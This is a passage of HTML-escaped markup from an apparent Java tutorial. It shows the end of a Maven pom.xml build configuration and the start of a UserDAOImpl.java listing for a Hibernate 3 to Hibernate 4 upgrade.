&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;lt;/&lt;/span&gt;&lt;span style=&quot;color: #3f7f7f; font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;resource&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;lt;/&lt;/span&gt;&lt;span style=&quot;color: #3f7f7f; font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;resources&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span style=&quot;color: #3f7f7f; font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;plugins&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span style=&quot;color: #3f7f7f; font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;plugin&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span style=&quot;color: #3f7f7f; font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;artifactId&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;u&gt;&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;maven&lt;/span&gt;&lt;/u&gt;&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;-war-&lt;u&gt;plugin&lt;/u&gt;&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;lt;/&lt;/span&gt;&lt;span style=&quot;color: #3f7f7f; font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;artifactId&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span style=&quot;color: #3f7f7f; font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;configuration&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span style=&quot;color: #3f7f7f; font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;webappDirectory&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;${&lt;u&gt;basedir&lt;/u&gt;}/WebRoot&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;lt;/&lt;/span&gt;&lt;span style=&quot;color: #3f7f7f; font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;webappDirectory&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span style=&quot;color: #3f7f7f; font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;warSourceDirectory&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;${&lt;u&gt;basedir&lt;/u&gt;}/WebRoot&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;lt;/&lt;/span&gt;&lt;span style=&quot;color: #3f7f7f; font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;warSourceDirectory&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;lt;/&lt;/span&gt;&lt;span style=&quot;color: #3f7f7f; font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;configuration&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;lt;/&lt;/span&gt;&lt;span style=&quot;color: #3f7f7f; font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;plugin&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span style=&quot;color: #3f7f7f; font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;plugin&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span style=&quot;color: #3f7f7f; font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;artifactId&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;u&gt;&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;maven&lt;/span&gt;&lt;/u&gt;&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;-compiler-&lt;u&gt;plugin&lt;/u&gt;&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;lt;/&lt;/span&gt;&lt;span style=&quot;color: #3f7f7f; font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;artifactId&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span style=&quot;color: #3f7f7f; font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;configuration&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span style=&quot;color: #3f7f7f; font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;source&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;1.5&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;lt;/&lt;/span&gt;&lt;span style=&quot;color: #3f7f7f; font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;source&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span style=&quot;color: #3f7f7f; font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;target&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;1.5&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;lt;/&lt;/span&gt;&lt;span style=&quot;color: #3f7f7f; font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;target&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;lt;/&lt;/span&gt;&lt;span style=&quot;color: #3f7f7f; font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;configuration&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;lt;/&lt;/span&gt;&lt;span style=&quot;color: #3f7f7f; font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;plugin&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;lt;/&lt;/span&gt;&lt;span style=&quot;color: #3f7f7f; font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;plugins&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;lt;/&lt;/span&gt;&lt;span style=&quot;color: #3f7f7f; font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;build&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;color: teal; font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;lt;/&lt;/span&gt;&lt;span style=&quot;background-color: silver; background-position: initial initial; background-repeat: initial initial; color: #3f7f7f; font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;project&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span style=&quot;font-family: &#39;Times New Roman&#39;, serif; font-size: 8pt;&quot;&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td style=&quot;background-color: #a6a6a6; background-position: initial initial; background-repeat: initial initial; padding: 0in 5.4pt; width: 6.65in;&quot; valign=&quot;top&quot; width=&quot;638&quot;&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;font-family: Times New Roman, serif;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
As we have updated to Hibernate 4 from Hibernate 3, so few changes will come in our code too:&lt;/div&gt;
&lt;div&gt;
&lt;b&gt;UserDAOImpl.java&lt;/b&gt;&lt;/div&gt;
&lt;div&gt;
&lt;b&gt;&lt;br /&gt;&lt;/b&gt;&lt;/div&gt;
&lt;div&gt;
&lt;b&gt;&lt;br /&gt;&lt;/b&gt;&lt;/div&gt;
&lt;div&gt;
&lt;table border=&quot;0&quot; cellpadding=&quot;0&quot; cellspacing=&quot;0&quot; class=&quot;MsoNormalTable&quot; style=&quot;border-collapse: collapse;&quot;&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td style=&quot;background-color: #a6a6a6; background-position: initial initial; background-repeat: initial initial; padding: 0in 5.4pt; width: 6.65in;&quot; valign=&quot;top&quot; width=&quot;638&quot;&gt;&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;color: teal; font-family: &#39;&#39;, &#39;Courier New&#39;, &#39;&#39;, serif; font-size: 10pt;&quot;&gt;package com.test.lab.dao.impl;&lt;/span&gt;&lt;span style=&quot;font-family: &#39;Times New Roman&#39;, serif; font-size: 12pt;&quot;&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
